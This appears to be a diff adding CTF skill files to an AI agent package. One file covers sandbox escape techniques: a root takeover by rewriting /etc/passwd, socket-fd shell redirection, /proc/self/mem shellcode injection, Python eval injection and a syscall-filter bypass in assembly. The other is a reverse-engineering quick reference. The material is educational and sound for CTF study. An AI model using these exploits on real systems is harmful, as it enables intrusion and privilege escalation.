ctf-agent 1.2.0

package/skills/ctf-pwn/sandbox-escape.md

@@ -0,0 +1,313 @@
+# CTF Pwn - Sandbox Escape and Restricted Environments
+
+## Table of Contents
+- [Python Sandbox Escape](#python-sandbox-escape)
+- [VM Exploitation (Custom Bytecode)](#vm-exploitation-custom-bytecode)
+- [FUSE/CUSE Character Device Exploitation](#fusecuse-character-device-exploitation)
+- [Busybox/Restricted Shell Escalation](#busyboxrestricted-shell-escalation)
+- [Shell Tricks](#shell-tricks)
+- [Write-Anywhere via /proc/self/mem (BSidesSF 2025)](#write-anywhere-via-procselfmem-bsidessf-2025)
+- [process_vm_readv Failure as Sandbox Escape (0CTF 2016)](#process_vm_readv-failure-as-sandbox-escape-0ctf-2016)
+- [Named Pipe mkfifo for File Size Check Bypass (Nuit du Hack 2016)](#named-pipe-mkfifo-for-file-size-check-bypass-nuit-du-hack-2016)
+- [Lua Integer Underflow via Game Logic (ASIS CTF Finals 2017)](#lua-integer-underflow-via-game-logic-asis-ctf-finals-2017)
+- [CPU Emulator Print Opcode Python eval Injection (Midnight Sun CTF 2018)](#cpu-emulator-print-opcode-python-eval-injection-midnight-sun-ctf-2018)
+- [Unicorn Emulator Syscall Blacklist Bypass via sysenter and Uncommon Syscalls (Meepwn CTF Quals 2018)](#unicorn-emulator-syscall-blacklist-bypass-via-sysenter-and-uncommon-syscalls-meepwn-ctf-quals-2018)
+- [Custom VM swap Pointer Self-Overwrite (HITCON 2018)](#custom-vm-swap-pointer-self-overwrite-hitcon-2018)
+
+---
+
+## Python Sandbox Escape
+
+Python jail/sandbox escape techniques (AST bypass, audit hook bypass, MRO-based builtin recovery, decorator chains, restricted charset tricks, and more) are covered comprehensively in the `ctf-misc` skill — invoke `/ctf-misc` for pyjail techniques.
+
+## VM Exploitation (Custom Bytecode)
+
+**Pattern (TerViMator, Pragyan 2026):** Custom VM with registers, opcodes, syscalls. Full RELRO + NX + PIE.
+
+**Common vulnerabilities in VM syscalls:**
+- **OOB read/write:** `inspect(obj, offset)` and `write_byte(obj, offset, val)` without bounds checking allows read/modify object struct data beyond allocated buffer
+- **Struct overflow via name:** `name(obj, length)` writing directly to object struct allows overflowing into adjacent struct fields
+
+**Exploitation pattern:**
+1. Allocate two objects (data + exec)
+2. Use OOB `inspect` to read exec object's XOR-encoded function pointer to leak PIE base
+3. Use `name` overflow to rewrite exec object's pointer with `win() ^ KEY`
+4. `execute(obj)` decodes and calls the patched function pointer
+
+## FUSE/CUSE Character Device Exploitation
+
+**FUSE** (Filesystem in Userspace) / **CUSE** (Character device in Userspace)
+
+**Key insight:** FUSE/CUSE devices run handler code in userspace with the permissions of the device daemon. If the daemon runs as root and exposes a command interface via the write handler, any user who can write to the device file gains root-level operations (chmod, file read/write).
+
+**Identification:**
+- Look for `cuse_lowlevel_main()` or `fuse_main()` calls
+- Device operations struct with `open`, `read`, `write` handlers
+- Device name registered via `DEVNAME=backdoor` or similar
+
+**Common vulnerability patterns:**
+```c
+// Backdoor pattern: write handler with command parsing
+void backdoor_write(const char *input, size_t len) {
+    char *cmd = strtok(input, ":");
+    char *file = strtok(NULL, ":");
+    char *mode = strtok(NULL, ":");
+    if (!strcmp(cmd, "b4ckd00r")) {
+        chmod(file, atoi(mode));  // Arbitrary chmod!
+    }
+}
+```
+
+**Exploitation:**
+```bash
+# Change /etc/passwd permissions via custom device
+echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
+
+# 511 decimal = 0777 octal (rwx for all)
+# Now modify passwd to get root
+echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
+su root
+```
+
+**Privilege escalation via passwd modification:**
+1. Make `/etc/passwd` writable via the backdoor
+2. Replace root line with `root::0:0:root:/root:/bin/sh` (no password)
+3. `su root` without password prompt
+
+## Busybox/Restricted Shell Escalation
+
+When in restricted environment without sudo:
+1. Find writable paths via character devices
+2. Target system files: `/etc/passwd`, `/etc/shadow`, `/etc/sudoers`
+3. Modify permissions then content to gain root
+
+**Key insight:** In restricted environments without sudo, look for custom character devices (`/dev/backdoor`) or writable system files. Any write primitive to `/etc/passwd` (remove root's password hash) or `/etc/sudoers` (add NOPASSWD entry) gives root.
+
+## Shell Tricks
+
+**File descriptor redirection (no reverse shell needed):**
+```bash
+# Redirect stdin/stdout to client socket (fd 3 common for network)
+exec <&3; sh >&3 2>&3
+
+# Or as single command string
+exec<&3;sh>&3
+```
+- Network servers often have client connection on fd 3
+- Avoids firewall issues with outbound connections
+- Works when you have command exec but limited chars
+
+**Find correct fd:**
+```bash
+ls -la /proc/self/fd           # List open file descriptors
+```
+
+**Short shellcode alternatives:**
+- `sh<&3 >&3` - minimal shell redirect
+- Use `$0` instead of `sh` in some shells
+
+**Key insight:** Network servers typically have the client socket on fd 3. Redirecting stdin/stdout to this fd (`exec <&3; sh >&3 2>&3`) gives an interactive shell over the existing connection without needing outbound connectivity for a reverse shell.
+
+---
+
+## Write-Anywhere via /proc/self/mem (BSidesSF 2025)
+
+When a service allows writing to arbitrary files at arbitrary offsets, target `/proc/self/mem` for code injection:
+
+```python
+from pwn import *
+
+# Service API: send filename, offset, content
+def write_mem(r, offset, data):
+    r.sendline(b'/proc/self/mem')
+    r.sendline(str(offset).encode())
+    r.sendline(data)
+
+# 1. Leak a return address from the stack (or use known binary address)
+# 2. Write shellcode to a writable+executable region (or reuse existing code)
+# 3. Overwrite return address to point to shellcode
+
+shellcode = asm(shellcraft.sh())
+
+r = remote(host, port)
+# Overwrite code at known address (e.g., after close@plt returns)
+write_mem(r, target_code_addr, shellcode)
+```
+
+**Key insight:** `/proc/self/mem` provides random-access read/write to the process's virtual memory, bypassing page protections that mmap enforces. Writing to text segments (code) works even when the segment is mapped read-only via normal mmap -- the kernel performs the write through the page tables directly. This makes it equivalent to a debugger `PTRACE_POKETEXT`.
+
+**Requirements:** File write primitive must handle binary data (null bytes). The target offset must be a valid mapped virtual address.
+
+---
+
+### process_vm_readv Failure as Sandbox Escape (0CTF 2016)
+
+**Pattern:** Sandbox validates file paths by calling `process_vm_readv()` then `realpath()`. By mapping memory with `PROT_READ` only (not remotely readable by `process_vm_readv` from the sandbox process), path validation fails silently, bypassing the check.
+
+```c
+// Create memory at fixed address with only read permission
+mmap(0x13370000, 0x1000, PROT_READ, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+// Store path string there -- sandbox's process_vm_readv fails
+// realpath() also fails -- path check bypassed entirely
+// Then: open("/flag") succeeds through the sandbox
+```
+
+**Key insight:** Sandbox path validation using `process_vm_readv` assumes validation will succeed or deny. The failure case (unreadable memory) is unhandled, creating a bypass. The sandboxed process can read its own memory normally, but the supervisor process cannot read it via `process_vm_readv`.
+
+**References:** 0CTF 2016
+
+---
+
+### Named Pipe mkfifo for File Size Check Bypass (Nuit du Hack 2016)
+
+**Pattern:** Binary reads a file and checks its size before processing. Named pipes (FIFOs) report `st_size = 0` via `stat()` but deliver arbitrary data when read, bypassing size-based overflow prevention.
+
+```bash
+mkfifo /tmp/payload_pipe
+# In background, feed overflow payload to the pipe
+cat exploit_data > /tmp/payload_pipe &
+# Binary sees size=0, skips bounds check, reads arbitrary data
+./vulnerable_binary /tmp/payload_pipe
+```
+
+Combine with symlinks for string reuse: `ln -s /flag arena.c` uses an existing string in the binary as the target filename for a ROP chain.
+
+**Key insight:** Named pipes always report `st_size = 0` in `stat()`, bypassing any size-based buffer allocation or bounds checks while delivering arbitrary-length data via `read()`. Any binary that uses `stat()` to pre-allocate or validate before `read()` is vulnerable.
+
+**References:** Nuit du Hack 2016
+
+---
+
+### Lua Integer Underflow via Game Logic (ASIS CTF Finals 2017)
+
+**Pattern:** Text-based game (written in Lua) with inventory management. Two independent percentage reductions are applied sequentially to the same value without capping the combined result: a 100% decay applied first zeros the inventory, then a 10% penalty applied to the already-zero value causes an integer underflow below zero. Selling the underflowed items generates unlimited money (the game treats a large negative count as a large positive sale value or wraps to unsigned max).
+
+**Vulnerable logic:**
+```lua
+-- Applied sequentially, no combined-total check:
+inventory = inventory - math.floor(inventory * 0.10)  -- 10% penalty first
+inventory = inventory - math.floor(inventory * 1.00)  -- 100% decay = zeroed
+
+-- If applied in the other order, or combined:
+-- 100% decay → inventory = 0
+-- 10% of 0 = 0 → total reduction = 100%, no underflow
+
+-- But with uncapped sequential application:
+-- Step 1: inventory -= inventory * decay_rate  (e.g., decay=100% → 0)
+-- Step 2: inventory -= extra_penalty           (penalty on already-zero → negative)
+-- Result: inventory = -penalty_amount  (wraps or treated as large positive)
+```
+
+**Exploitation:**
+```python
+# 1. Identify the two independent reduction events in the game loop
+#    (e.g., end-of-round decay AND a transaction penalty)
+# 2. Trigger both in the same game tick without intermediate capping
+# 3. Verify inventory went negative (may display as large number or 0 + debt)
+# 4. Sell the underflowed items: game calculates price * negative_count
+#    → negative total, or wraps to huge positive → unlimited currency
+# 5. Use unlimited currency to purchase the flag item
+```
+
+**Key insight:** Business logic bugs in game economies create integer underflows without any memory corruption — two uncapped percentage reductions exceeding 100% underflow the target variable. Look for any game mechanic that applies multiple independent percentage modifications to the same integer value in the same tick.
+
+**References:** ASIS CTF Finals 2017
+
+---
+
+### CPU Emulator Print Opcode Python eval Injection (Midnight Sun CTF 2018)
+
+**Pattern:** Custom CPU emulator's print function uses `eval('"' + string_buffer + '"')` to process escape sequences in the output. Build a string in emulator memory character-by-character using ADD opcodes, then inject: `"+__import__("os").system("cmd")#` to escape the string literal and execute arbitrary Python.
+
+**Exploitation strategy:**
+1. The emulator implements a custom instruction set with ADD, MOV, PRINT, etc.
+2. The PRINT opcode reads a string from emulator memory and passes it to `eval('"' + s + '"')` to handle escape sequences like `\n`, `\t`
+3. Use ADD opcodes to build the injection string character-by-character in emulator memory
+4. The injected string `"+__import__("os").system("cmd")#` closes the opening quote, concatenates with `__import__("os").system()`, and `#` comments out the trailing quote
+
+```python
+from pwn import *
+
+# Emulator opcodes (example encoding)
+ADD = 0x01   # ADD addr, immediate_byte
+PRINT = 0x58  # Print string from memory (triggers eval)
+
+def build_char(c):
+    """Generate ADD opcodes to set a memory byte to character c"""
+    addr = current_mem_ptr()
+    return bytes([ADD, addr, ord(c)])
+
+# Build injection payload in emulator memory
+cmd = "cat /flag"
+injection = '''"+__import__("os").system("%s")#''' % cmd
+
+program = b""
+for c in injection:
+    program += build_char(c)
+
+# Trigger PRINT opcode -> eval('"' + injection + '"')
+# eval becomes: eval('""+__import__("os").system("cat /flag")#"')
+# The # comments out the trailing quote
+program += bytes([PRINT, 0x00])  # PRINT from address 0
+
+io = remote('target', 1337)
+io.send(program)
+io.interactive()
+```
+
+**Key insight:** When an emulator or interpreter uses `eval()` to process string output (e.g., for escape sequences), inject a quote to close the string literal, then chain arbitrary Python code. The `#` comment character truncates any trailing syntax. This is a classic eval injection -- the emulator trusts its own memory contents, but the attacker controls memory via normal CPU opcodes.
+
+**References:** Midnight Sun CTF 2018
+
+---
+
+### Unicorn Emulator Syscall Blacklist Bypass via sysenter and Uncommon Syscalls (Meepwn CTF Quals 2018)
+
+**Pattern:** A Unicorn-based shellcode runner hooks `UC_HOOK_INSN` for `int 0x80` and `UC_HOOK_MEM_*` to block forbidden syscall numbers (execve, read, write, mmap). The filter only covers the `int 0x80` entry and the handful of syscalls the authors thought of.
+
+**Bypass:**
+1. Use `sysenter` instead of `int 0x80` — Unicorn's `INT` hook does not fire on the fast entry path.
+2. Use functionally equivalent syscalls that are not on the blacklist:
+   - `dup3` instead of `dup2`
+   - `openat` instead of `open`
+   - `pread64` instead of `read`
+   - `sendfile` to move a file descriptor's contents straight to another fd without touching `write`
+3. Stage the payload so the final stage is `execve("/bin/sh", ...)` via `sys_socketcall` (opcode `0x66`) + crafted syscall-mode transition, if even `execve` is in the blacklist.
+
+```asm
+; Swap file from /flag to stdout without read/write
+mov eax, 0x123            ; __NR_openat
+mov ebx, -100             ; AT_FDCWD
+lea ecx, [flag_path]
+xor edx, edx
+sysenter                  ; NOT int 0x80 — bypasses Unicorn INT hook
+
+; fd is now in eax
+mov ebx, eax              ; src fd
+mov ecx, 1                ; dst fd (stdout)
+xor edx, edx              ; NULL offset
+mov esi, 0x1000           ; count
+mov eax, 0xbb             ; __NR_sendfile
+sysenter
+```
+
+**Key insight:** Instruction-level filters in Unicorn hook specific opcodes. If the filter only watches `int 0x80`, any other syscall entry (`sysenter`, `syscall`, `int 0x2e` on x86-32 test builds) slips through. Always enumerate functionally equivalent syscalls: `dup3/openat/pread64/sendfile/writev/mmap2` cover almost everything a blacklist of `execve/read/write/mmap` forgets.
+
+**References:** Meepwn CTF Quals 2018 — writeups 10415, 10428
+
+---
+
+## Custom VM swap Pointer Self-Overwrite (HITCON 2018)
+
+**Pattern:** A custom VM exposes a `swap(a, b)` instruction that reads two stack indices relative to the saved `sp`. If the VM never validates that `sp_nxt` is within bounds, calling `swap(-1, 0)` or `swap(-2, -1)` addresses the internal `sp_nxt` itself and exchanges it with a stack slot. Subsequent instructions then operate on arbitrary memory.
+
+```text
+swap(-1, 0)     # treats &sp_nxt as stack[-1]; swaps sp_nxt <-> stack[0]
+# sp_nxt now points wherever stack[0] used to; writes go anywhere
+```
+
+Chain with a `push` that stores shellcode bytes at the new pointer, then redirect a function pointer from the VM's dispatch table to the shellcode region.
+
+**Key insight:** Any VM primitive that rewrites its own state pointer is an immediate arbitrary-write primitive. Always probe VM opcodes for boundary conditions where the stack pointer itself is addressable.
+
+**References:** HITCON CTF 2018 — Abyss I, writeups 11918-11919

package/skills/ctf-reverse/SKILL.md

@@ -0,0 +1,163 @@
+---
+name: ctf-reverse
+description: Provides reverse engineering and static/dynamic binary analysis techniques for educational CTF challenges. Use when analyzing compiled, obfuscated, packed, or virtualized challenge targets, including binaries, APKs, WASM, firmware, custom VMs, bytecode, game clients, and anti-analysis logic. Do not use it when the vulnerability is already understood and the remaining task is binary verification; use pwn instead. Do not use it for pure web workflows, log or disk forensics, or standalone crypto problems.
+license: MIT
+compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
+allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
+metadata:
+  user-invocable: "false"
+---
+
+# CTF Reverse Engineering
+
+Quick reference for RE challenges. For detailed techniques, see supporting files.
+
+## Prerequisites & Tooling
+
+Pre-installed via [scripts/install_ctf_tools.sh](../../scripts/install_ctf_tools.sh):
+- **Python packages**: `frida-tools`, `angr`, `qiling`, `uncompyle6`, `capstone`, `lief`, `z3-solver` (in `~/.ctf-tools/venv`)
+- **System binaries**: `gdb`, `radare2` (`r2`), `binutils` (`objdump`, `readelf`, `nm`), `strace`, `ltrace`, `apktool`, `upx`
+- **Manual tools**: `pwndbg`, `pycdc` (Python 3.9+ bytecode decompiler)
+
+## Execution Environment & Tool Invocation
+
+- **On Windows (WSL Kali Linux)**:
+  - Run reverse engineering, unpacking, and disassembly tools inside WSL:
+    ```bash
+    wsl -d kali-linux bash -c "r2 -A ./binary"
+    wsl -d kali-linux bash -c "apktool d app.apk -o output_dir"
+    wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && python3 solve_angr.py"
+    ```
+- **On Native Linux / WSL**:
+  - Activate the CTF virtualenv:
+    ```bash
+    source ~/.ctf-tools/venv/bin/activate
+    ```
+  - Use `r2`, `gdb`, `apktool`, `upx`, and Python with `angr` / `qiling` / `frida` directly.
+
+## Additional Resources
+
+- [tools.md](tools.md) - Static analysis tools (GDB, Ghidra, radare2, IDA, Binary Ninja, dogbolt.org, RISC-V with Capstone, Unicorn emulation, Python bytecode, WASM, Android APK, .NET, packed binaries)
+- [tools-dynamic.md](tools-dynamic.md) - Dynamic analysis tools: Frida (hooking, anti-debug bypass, memory scanning, Android/iOS), angr symbolic execution (path exploration, constraints, CFG), lldb (macOS/LLVM debugger), x64dbg (Windows)
+- [tools-emulation.md](tools-emulation.md) - Emulation frameworks and side-channel tooling: Qiling (cross-platform OS-level emulation), Triton (DSE), Intel Pin instruction-counting + genetic algorithm side channel, opcode-only trace reconstruction, LD_PRELOAD time freeze and memcmp side-channel for byte-by-byte bruteforce
+- [tools-advanced.md](tools-advanced.md) - Advanced tools (Part 1): VMProtect/Themida analysis, binary diffing (BinDiff, Diaphora), deobfuscation frameworks (D-810, GOOMBA, Miasm), Qiling framework, Triton DSE, Manticore, Rizin/Cutter, RetDec, custom VM bytecode lifting to LLVM IR
+- [tools-advanced-2.md](tools-advanced-2.md) - Advanced tools (Part 2): advanced GDB (Python scripting, brute-force, conditional breakpoints, watchpoints, reverse debugging with rr, pwndbg/GEF), advanced Ghidra scripting, patching (Binary Ninja API, LIEF), GDB constraint extraction + ILP solver (BackdoorCTF 2017), GDB position-encoded input zero flag monitoring (EKOPARTY 2017), LD_PRELOAD execute-only binary dump (BackdoorCTF 2017), PEDA current_inst bit-by-bit flag scraper (CONFidence CTF 2019 Teaser)
+- [anti-analysis.md](anti-analysis.md) - Anti-analysis taxonomy: Linux anti-debug (ptrace, /proc, timing, signals, direct syscalls), Windows anti-debug (PEB, NtQueryInformationProcess, heap flags, TLS callbacks, HW/SW breakpoint detection, exception-based, thread hiding), anti-VM/sandbox (CPUID, MAC, timing, artifacts, resources), anti-DBI (Frida detection/bypass), code integrity/self-hashing, anti-disassembly (opaque predicates, junk bytes), MBA identification/simplification, comprehensive bypass strategies
+- [anti-analysis-ctf.md](anti-analysis-ctf.md) - CTF writeup techniques: SIGILL handler for execution mode switching (Hack.lu 2015), SIGFPE signal handler side-channel via strace counting (PlaidCTF 2017), instruction trace inversion with Keystone and Unicorn (MeePwn 2017), call-less function chaining via stack frame manipulation (THC 2018), parent-patched child binary dump via `process_vm_writev` (Google CTF Quals 2018)
+- [patterns.md](patterns.md) - Foundational binary patterns: custom VMs, anti-debugging, nanomites, self-modifying code, XOR ciphers, mixed-mode stagers, LLVM obfuscation, S-box/keystream, SECCOMP/BPF, exception handlers, memory dumps, byte-wise transforms, x86-64 gotchas, custom mangle reversing, position-based transforms, hex-encoded string comparison, signal-based binary exploration
+- [patterns-runtime.md](patterns-runtime.md) - Runtime patching and oracle techniques: malware anti-analysis bypass, multi-stage shellcode loaders, timing side-channel attacks, multi-thread anti-debug with decoy + signal handler MBA (ApoorvCTF 2026), INT3 patch + coredump brute-force oracle (Pwn2Win 2016), signal handler chain + LD_PRELOAD oracle (Nuit du Hack 2016), printf format string VM decompilation to Z3 (SECCON 2017), quadtree recursive image format parser (Google CTF Quals 2018)
+- [patterns-ctf.md](patterns-ctf.md) - Competition-specific patterns (Part 1): hidden emulator opcodes, LD_PRELOAD key extraction, SPN static extraction, image XOR smoothness, byte-at-a-time cipher, mathematical convergence bitmap, Windows PE XOR bitmap OCR, two-stage RC4+VM loaders, GBA ROM meet-in-the-middle, Sprague-Grundy game theory, kernel module maze solving, multi-threaded VM channels, backdoored shared library detection via string diffing, custom binfmt kernel module with RC4 flat binaries, hash-resolved imports / no-import ransomware, ELF section header corruption for anti-analysis
+- [patterns-ctf-2.md](patterns-ctf-2.md) - Competition-specific patterns (Part 2): multi-layer self-decrypting brute-force, embedded ZIP+XOR license, stack string deobfuscation, prefix hash brute-force, CVP/LLL lattice for integer validation, decision tree function obfuscation, GF(2^8) Gaussian elimination, ROP chain obfuscation analysis (ROPfuscation)
+- [patterns-ctf-3.md](patterns-ctf-3.md) - Competition-specific patterns (Part 3): Z3 single-line Python circuit, sliding window popcount, keyboard LED Morse code via ioctl, C++ destructor-hidden validation, syscall side-effect memory corruption, MFC dialog event handlers, VM sequential key-chain brute-force, Burrows-Wheeler transform inversion, OpenType font ligature exploitation, GLSL shader VM with self-modifying code, instruction counter as cryptographic state, batch crackme automation via objdump, fork+pipe+dead branch anti-analysis, TensorFlow DNN inversion via sigmoid layer inversion, BPF filter analysis via kernel JIT to x64 assembly
+- [languages.md](languages.md) - Language-specific: Python bytecode & opcode remapping, Python version-specific bytecode, Pyarmor static unpack, DOS stubs, Unity IL2CPP, HarmonyOS HAP/ABC, Brainfuck/esolangs (+ BF character-by-character static analysis, BF side-channel read count oracle, BF comparison idiom detection), UEFI, transpilation to C, code coverage side-channel, OPAL functional reversing, non-bijective substitution, FRACTRAN program inversion
+- [languages-platforms.md](languages-platforms.md) - Platform/framework-specific: Roblox place file analysis, Godot game asset extraction, Rust serde_json schema recovery, Android JNI RegisterNatives obfuscation, Android DEX runtime bytecode patching via /proc/self/maps, Android native .so loading bypass via new project, Frida Firebase Cloud Functions bypass, Verilog/hardware RE, prefix-by-prefix hash reversal, Ruby/Perl polyglot constraint satisfaction, Electron ASAR extraction + native binary analysis, Node.js npm runtime introspection
+- [languages-compiled.md](languages-compiled.md) - Go binary reversing (GoReSym, goroutines, memory layout, channel ops, embed.FS, Go binary UUID patching for C2 enumeration), Rust binary reversing (demangling, Option/Result, Vec, panic strings), Swift binary reversing (demangling, protocol witness tables), Kotlin/JVM (coroutine state machines), Haskell GHC CMM intermediate language for recursive structure analysis, C++ (vtable reconstruction, RTTI, STL patterns)
+- [platforms.md](platforms.md) - Platform-specific RE: macOS/iOS (Mach-O, code signing, Objective-C runtime, Swift, dyld, jailbreak bypass), embedded/IoT firmware (binwalk, UART/JTAG/SPI extraction, ARM/MIPS, RTOS), kernel drivers (Linux .ko, eBPF, Windows .sys), game engines (Unreal Engine, Unity, anti-cheat, Lua), automotive CAN bus
+- [platforms-hardware.md](platforms-hardware.md) - Hardware and advanced architecture RE: HD44780 LCD controller GPIO reconstruction, RISC-V advanced (custom extensions, privileged modes, debugging), ARM64/AArch64 reversing and exploitation (calling convention, ROP gadgets, qemu-aarch64-static emulation)
+- [field-notes.md](field-notes.md) - Quick reference notes: binary types, anti-debugging bypass, specialized patterns, CTF case notes
+
+---
+
+## When to Pivot
+
+- If you already understand the binary and now need heap, ROP, or kernel exploitation, switch to `/ctf-pwn`.
+- If the challenge is really about recovering deleted files, PCAP data, or disk artifacts, switch to `/ctf-forensics`.
+- If the target is a web app and you are only reversing a small client-side helper script, switch to `/ctf-web`.
+- If the binary implements a machine learning model and the challenge is about model attacks or adversarial inputs, switch to `/ctf-ai-ml`.
+- If the reversed binary's core logic is a cryptographic algorithm or math problem, switch to `/ctf-crypto`.
+- If the binary is a real malware sample with C2, packing, or evasion behavior, switch to `/ctf-malware`.
+- If the challenge is a toy VM, encoding puzzle, or pyjail rather than a real binary, switch to `/ctf-misc`.
+
+## Problem-Solving Workflow
+
+1. **Start with strings extraction** - many easy challenges have plaintext flags
+2. **Try ltrace/strace** - dynamic analysis often reveals flags without reversing
+3. **Try Frida hooking** - hook strcmp/memcmp to capture expected values without reversing
+4. **Try angr** - symbolic execution solves many flag-checkers automatically
+5. **Try Qiling** - emulate foreign-arch binaries or bypass heavy anti-debug without artifacts
+6. **Map control flow** before modifying execution
+7. **Automate manual processes** via scripting (r2pipe, Frida, angr, Python)
+8. **Validate assumptions** by comparing decompiler outputs (dogbolt.org for side-by-side)
+
+## Quick Wins (Try First!)
+
+```bash
+# Plaintext flag extraction
+strings binary | grep -E "flag\{|CTF\{|pico"
+strings binary | grep -iE "flag|secret|password"
+rabin2 -z binary | grep -i "flag"
+
+# Dynamic analysis - often captures flag directly
+ltrace ./binary
+strace -f -s 500 ./binary
+
+# Hex dump search
+xxd binary | grep -i flag
+
+# Run with test inputs
+./binary AAAA
+echo "test" | ./binary
+```
+
+## Initial Analysis
+
+```bash
+file binary           # Type, architecture
+checksec --file=binary # Security features (for pwn)
+chmod +x binary       # Make executable
+```
+
+## Memory Dumping Strategy
+
+**Key insight:** Let the program compute the answer, then dump it. Break at final comparison (`b *main+OFFSET`), enter any input of correct length, then `x/s $rsi` to dump computed flag.
+
+## Decoy Flag Detection
+
+**Pattern:** Multiple fake targets before real check. Look for multiple comparison targets in sequence with different success messages. Set breakpoint at FINAL comparison, not earlier ones.
+
+## GDB PIE Debugging
+
+PIE binaries randomize base address. Use relative breakpoints:
+```bash
+gdb ./binary
+start                    # Forces PIE base resolution
+b *main+0xca            # Relative to main
+run
+```
+
+## Comparison Direction (Critical!)
+
+Two patterns: (1) `transform(flag) == stored_target` — reverse the transform. (2) `transform(stored_target) == flag` — flag IS the transformed data, just apply transform to stored target.
+
+## Common Encryption Patterns
+
+- XOR with single byte - try all 256 values
+- XOR with known plaintext (`flag{`, `CTF{`)
+- RC4 with hardcoded key
+- Custom permutation + XOR
+- XOR with position index (`^ i` or `^ (i & 0xff)`) layered with a repeating key
+
+## Quick Tool Reference
+
+```bash
+# Radare2
+r2 -d ./binary     # Debug mode
+aaa                # Analyze
+afl                # List functions
+pdf @ main         # Disassemble main
+
+# Ghidra (headless)
+analyzeHeadless project/ tmp -import binary -postScript script.py
+
+# IDA
+ida64 binary       # Open in IDA64
+```
+
+## Deep-Dive Notes
+
+Use [field-notes.md](field-notes.md) after the first round of triage when you know what kind of target you have.
+
+- Target formats: Python bytecode, WASM, Android, Flutter, .NET, UPX, Tauri
+- Technique notes: anti-debug bypass, VM analysis, x86-64 gotchas, iterative solvers, Unicorn, timing side channels
+- Platform notes: Godot, Roblox, macOS/iOS, embedded firmware, kernel drivers, game engines, Swift, Kotlin, Go, Rust, D
+- Case notes: modern CTF-specific reversing patterns and older classic challenge patterns